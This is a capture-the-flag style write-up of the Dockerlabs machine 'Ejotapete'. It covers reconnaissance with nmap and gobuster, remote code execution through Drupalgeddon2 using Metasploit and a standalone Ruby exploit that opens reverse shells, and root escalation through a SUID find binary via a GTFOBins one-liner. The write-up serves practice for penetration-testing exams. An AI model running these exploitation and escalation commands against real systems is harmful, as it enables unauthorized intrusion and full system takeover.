Platform	Dockerlabs
OS	Linux
Difficulty	Easy
InitialVector	Drupalgeddon2 (Drupal 8 RCE)
Privesc	SUID `find`

Ejotapete Writeup¶

Introduction¶

Ejotapete is a machine created to resemble a similar target from the eJPTv2 exam, which is why it was given that name. In this writeup, I document the full compromise process, from initial reconnaissance to privilege escalation, and also show an alternative way to exploit the same Drupal vulnerability without relying on Metasploit.

Information Gathering¶

I started by verifying connectivity to the target with ping. This also provided the TTL value, which is often useful for making an initial guess about the operating system.

ping -c 4 172.17.0.2

The response showed a TTL of 64, which strongly suggested that the target was likely running Linux.

Next, I performed a full TCP port scan with service and default script detection to identify exposed services.

nmap -sV -sC -p- --min-rate 5000 172.17.0.2 -n -Pn

The scan identified the following open service:

Port 80 - Apache HTTP Server

At this stage, the target appeared to be exposing Apache over HTTP on port 80, and no additional open ports were discovered.

Web Enumeration¶

With only HTTP exposed, I moved to web enumeration and visited the target directly at:

http://172.17.0.2

Initially, the site only displayed the default Apache page.

To look for hidden content, I used gobuster to brute-force directories and common file extensions.

gobuster dir -u http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x .php,.txt,.html -r

This revealed one useful directory:

drupal (200 OK)

Browsing to the discovered path confirmed that the target was running Drupal:

http://172.17.0.2/drupal/

I then navigated to the Drupal login page:

http://172.17.0.2/drupal/user/login

From there, I inspected the page source to gather more information and identify the Drupal version.

Vulnerability Identification¶

Since the target was running Drupal 8, I searched for known public exploits related to that version.

searchsploit drupal 8

The results included several references to Drupalgeddon2, a well-known remote code execution vulnerability affecting vulnerable Drupal 8 installations.

Given those results, I decided to test the available Metasploit module for Drupalgeddon2.

Initial Access¶

I launched Metasploit and selected the Drupalgeddon2 exploit module:

msfconsole
search drupal 8
use exploit/unix/webapp/drupal_drupalgeddon2
show options

The module required the following values:

RHOSTS - target IP address
RPORT - target service port
TARGETURI - path where Drupal is installed
LHOST - local IP address to receive the shell
LPORT - local listening port

After configuring the module, I ran the exploit:

set RHOSTS 172.17.0.2
set TARGETURI /drupal
set LHOST 192.168.1.27
set LPORT 3312
run

The exploit succeeded and returned a Meterpreter session on the target.

To interact with the host more naturally, I dropped into a system shell and upgraded it slightly for usability:

shell
/bin/bash -i
export TERM=xterm

Privilege Escalation¶

Once on the system, my first privilege escalation step was to look for binaries with the SUID bit set.

find / -perm -4000 -ls 2>/dev/null

The results showed that /usr/bin/find had the SUID bit enabled.

I checked GTFOBins for find and found a suitable payload to spawn a shell through the misconfigured binary:

find . -exec /bin/sh \; -quit

Because the target's find binary was SUID-enabled, executing the full path version of that command yielded a privileged shell:

/usr/bin/find . -exec /bin/sh \; -quit

This successfully escalated privileges to root.

Alternative Exploitation Path¶

There was also another way to exploit the Drupal service without using Metasploit.

From the earlier searchsploit results, I noticed a Ruby script for Drupalgeddon2, so I copied it locally for testing.

searchsploit -m 44449

I then executed the script directly against the Drupal instance:

ruby 44449.rb http://172.17.0.2/drupal/

The script attempted to upload a PHP reverse shell and establish an interactive session back in the same terminal.

This confirmed that the target could be compromised in more than one way through the same vulnerable Drupal installation.

Conclusion¶

This machine followed a straightforward but realistic attack path centered around Drupal 8 and Drupalgeddon2. After identifying the exposed web service, enumerating the hidden Drupal directory, and confirming a likely vulnerable version, I obtained initial access through the public exploit. From there, local enumeration revealed a SUID-enabled find binary, which made privilege escalation trivial through a known GTFOBins technique.

In addition to the Metasploit route, the target was also exploitable using the standalone Ruby implementation of Drupalgeddon2, making this a useful practice machine for anyone preparing for eJPT-style web exploitation and post-exploitation workflows.